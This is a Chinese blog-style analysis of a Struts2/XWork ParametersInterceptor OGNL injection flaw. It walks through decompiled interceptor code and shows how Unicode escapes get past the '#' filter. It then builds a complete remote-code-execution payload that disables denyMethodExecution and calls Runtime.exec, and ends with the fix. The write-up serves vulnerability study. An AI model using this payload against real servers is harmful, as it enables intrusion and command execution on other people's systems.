0x00 前言
一直在忙其他的事情,Struts2的事情就耽搁下来了,乘着今天有空,抓紧时间看一下。
0x01 环境
Demo地址:https://github.com/xhycccc/Struts2-Vuln-Demo
启动后的内容:
0x02 漏洞分析
1.过程分析
问题主要是出在了ParameterInterceptor 这个拦截器这里,ParameterInterceptor主要是用于拦截请求的数据结构,以获取参数相关的信息。
ParameterInterceptor拦截器位置:xwork-2.0.5.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class
doIntercept 拦截器
首先是设置了三个配置:
OgnlContextState.setCreatingNullObjects(contextMap, true);
OgnlContextState.setDenyMethodExecution(contextMap, true);
OgnlContextState.setReportingConversionErrors(contextMap, true);
然后进入setParameters方法,这里的setDenyMethodExecution是指是否进行方法执行,默认为true,如果想要执行ognl,这里要设置为true,这也就是为什么可以看到payload中看到存在这个属性修改的内容。
public String doIntercept(ActionInvocation invocation) throws Exception {
//获取action
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
//获取上下文内容
ActionContext ac = invocation.getInvocationContext();
//获取参数
Map parameters = ac.getParameters();
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params " + this.getParameterLogMap(parameters));
}
if (parameters != null) {
//获取上下文参数
Map contextMap = ac.getContextMap();
try {
//是否允许创建null对象
OgnlContextState.setCreatingNullObjects(contextMap, true);
// 是否设置拒绝方法执行(和OGNL表达式执行相关)
OgnlContextState.setDenyMethodExecution(contextMap, true);
// 是否设置转换错误
OgnlContextState.setReportingConversionErrors(contextMap, true);
//获取堆栈
ValueStack stack = ac.getValueStack();
//参数设置
this.setParameters(action, stack, parameters);
}
protected void setParameters(Object action, ValueStack stack, Map parameters) {
// 判断是否存在ParameterNameAware接口,此接口主要是限制Action仅接收一定规则的参数
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
Map params = null;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
//循环遍历传入参数,并且进行拆分
Iterator iterator = params.entrySet().iterator();
while(true) {
Entry entry;
String name;
boolean acceptableName;
do {
if (!iterator.hasNext()) {
return;
}
entry = (Entry)iterator.next();
name = entry.getKey().toString();
acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
} while(!acceptableName);
Object value = entry.getValue();
try {
// 参数设置
stack.setValue(name, value);
} catch (RuntimeException var13) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{var13.getMessage()});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage());
}
}
}
}
这里通过循环遍历来解析输入的参数内容
通过acceptableName方法进行过滤
首先来看:isAccepted方法,判断的内容是:^,#:=
最后在setValue的地方执行Ognl
后续分析以及执行原理可以看:Struts2 Ognl setValue 触发方式
2.poc分析
要想执行我们的目标("@java.lang.Runtime@getRuntime().exec('calc')")(a)(b)
,那么就需要针对过滤过程进行分析。
通过测试发现直接使用并不能成功,因为默认设置了DenyMethodExecution为true,现在我们首先需要先修改DenyMethodExecution的值。
先来看setDenyMethodExecution,更改的是上下文的值
首先更改xwork.MethodAccessor.denyMethodExecution的值
(#context['xwork.MethodAccessor.denyMethodExecution']=false)(a)(b)
但是#已经被过滤了,所以需要通过一些方式进行绕过,在setvalue中会对输入的内容进行处理,在遇到\u的时候就会解码。
所以把(#context['xwork.MethodAccessor.denyMethodExecution']=false)(a)(b)
转为Unicode
("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(a)(b)
然后再加上命令执行的
('\u0023d\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(a)(b)
组合一下就是
("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(a)(b)&('\u0023d\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(a)(b)
最后url编码一下。就ok了。
0x03 修复
在xwork2.0.6中,修复了如下内容,增加了setAcceptProperties和setExcludeProperties配置,静止调用静态方法。